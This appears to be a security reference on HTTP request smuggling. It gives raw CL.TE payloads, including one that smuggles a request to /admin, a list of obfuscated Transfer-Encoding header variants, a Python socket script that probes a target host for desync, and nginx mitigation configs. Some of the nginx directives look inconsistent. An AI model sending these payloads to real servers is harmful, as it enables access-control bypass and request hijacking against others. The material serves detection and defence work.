# HTTP Request Smuggling

POST / HTTP/1.1
Host: vulnerable-site.com
Content-Length: 4
Transfer-Encoding: chunked

96
GET /admin HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

POST / HTTP/1.1
Host: vulnerable-site.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Transfer-Encoding: chunked
Transfer-Encoding: chunked, identity
Transfer-Encoding: chunked, anything
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding:[tab]chunked
Transfer-encoding: chunked

import socket
import time

def test_http_smuggling_cl_te(host, port=443, use_ssl=True):
    """Test for CL.TE HTTP Request Smuggling"""

    # Attack request
    smuggling_request = (
        b"POST / HTTP/1.1\r\n"
        b"Host: " + host.encode() + b"\r\n"
        b"Content-Length: 6\r\n"
        b"Transfer-Encoding: chunked\r\n"
        b"Connection: keep-alive\r\n"
        b"\r\n"
        b"0\r\n"
        b"\r\n"
        b"X"
    )

    # Follow-up request
    normal_request = (
        b"GET / HTTP/1.1\r\n"
        b"Host: " + host.encode() + b"\r\n"
        b"Connection: close\r\n"
        b"\r\n"
    )

    try:
        if use_ssl:
            import ssl
            context = ssl.create_default_context()
            sock = socket.create_connection((host, port), timeout=10)
            sock = context.wrap_socket(sock, server_hostname=host)
        else:
            sock = socket.create_connection((host, port), timeout=10)

        print(f"[*] Testing {host}:{port} for CL.TE smuggling...")

        # Send smuggling request
        sock.sendall(smuggling_request)
        time.sleep(0.5)

        # Send normal request on same connection
        sock.sendall(normal_request)

        # Receive response
        response = b""
        while True:
            try:
                chunk = sock.recv(4096)
                if not chunk:
                    break
                response += chunk
            except socket.timeout:
                break

        sock.close()

        # Check for smuggling indicators
        response_str = response.decode('utf-8', errors='ignore')

        if "X GET" in response_str or "Invalid method X GET" in response_str:
            print(f"[!] VULNERABLE: CL.TE desync detected!")
            print(f"    Evidence: Response contains 'X GET'")
            return True

        if "400 Bad Request" in response_str and "X" in response_str:
            print(f"[!] POSSIBLY VULNERABLE: Suspicious 400 error")
            return True

        print(f"[+] No obvious CL.TE vulnerability detected")
        return False

    except Exception as e:
        print(f"[-] Error testing: {e}")
        return False

def test_timing_based_detection(host, port=443):
    """Timing-based detection"""

    # Request that should hang if vulnerable
    timing_request = (
        b"POST / HTTP/1.1\r\n"
        b"Host: " + host.encode() + b"\r\n"
        b"Content-Length: 6\r\n"
        b"Transfer-Encoding: chunked\r\n"
        b"\r\n"
        b"0\r\n"
        b"\r\n"
        b"X"
    )

    try:
        import ssl
        context = ssl.create_default_context()
        sock = socket.create_connection((host, port), timeout=5)
        sock = context.wrap_socket(sock, server_hostname=host)

        print(f"[*] Testing timing-based detection on {host}...")

        start_time = time.time()
        sock.sendall(timing_request)

        try:
            response = sock.recv(4096)
            elapsed = time.time() - start_time

            if elapsed > 3:
                print(f"[!] SUSPICIOUS: Response delayed {elapsed:.2f}s (might be vulnerable)")
                return True

        except socket.timeout:
            elapsed = time.time() - start_time
            print(f"[!] VULNERABLE: Connection timeout after {elapsed:.2f}s")
            print(f"    Backend likely waiting for Content-Length bytes")
            return True

        sock.close()
        return False

    except Exception as e:
        print(f"[-] Error: {e}")
        return False

# Test target
if __name__ == "__main__":
    target_host = "example.com"

    print("="*50)
    print("HTTP Request Smuggling Detection")
    print("="*50)

    # Test CL.TE
    cl_te_vuln = test_http_smuggling_cl_te(target_host)

    # Test timing
    timing_vuln = test_timing_based_detection(target_host)

    print("\n" + "="*50)
    if cl_te_vuln or timing_vuln:
        print("[!] POTENTIALLY VULNERABLE TO HTTP REQUEST SMUGGLING")
        print("[!] Recommend manual verification and mitigation")
    else:
        print("[+] No obvious vulnerabilities detected")
        print("[*] Note: This doesn't guarantee safety - manual testing recommended")
    print("="*50)

# Disable connection reuse between frontend and backend
upstream backend {
    server backend1.example.com:8080;
    keepalive 0;  # Disable keepalive
}

server {
    listen 443 ssl;
    server_name example.com;

    location / {
        proxy_pass http://backend;
        proxy_http_version 1.1;

        # Force new connection for each request
        proxy_set_header Connection "";
        proxy_set_header Connection "close";
    }
}

server {
    listen 443 ssl;
    server_name example.com;

    # Reject requests with both Content-Length and Transfer-Encoding
    if ($http_transfer_encoding ~ chunked) {
        set $has_te 1;
    }

    if ($http_content_length) {
        set $has_cl 1;
    }

    set $ambiguous "${has_te}${has_cl}";

    if ($ambiguous = "11") {
        return 400 "Ambiguous request rejected";
    }

    # Reject obfuscated Transfer-Encoding
    if ($http_transfer_encoding !~* ^chunked$) {
        if ($http_transfer_encoding != "") {
            return 400 "Invalid Transfer-Encoding";
        }
    }

    location / {
        proxy_pass http://backend;
    }
}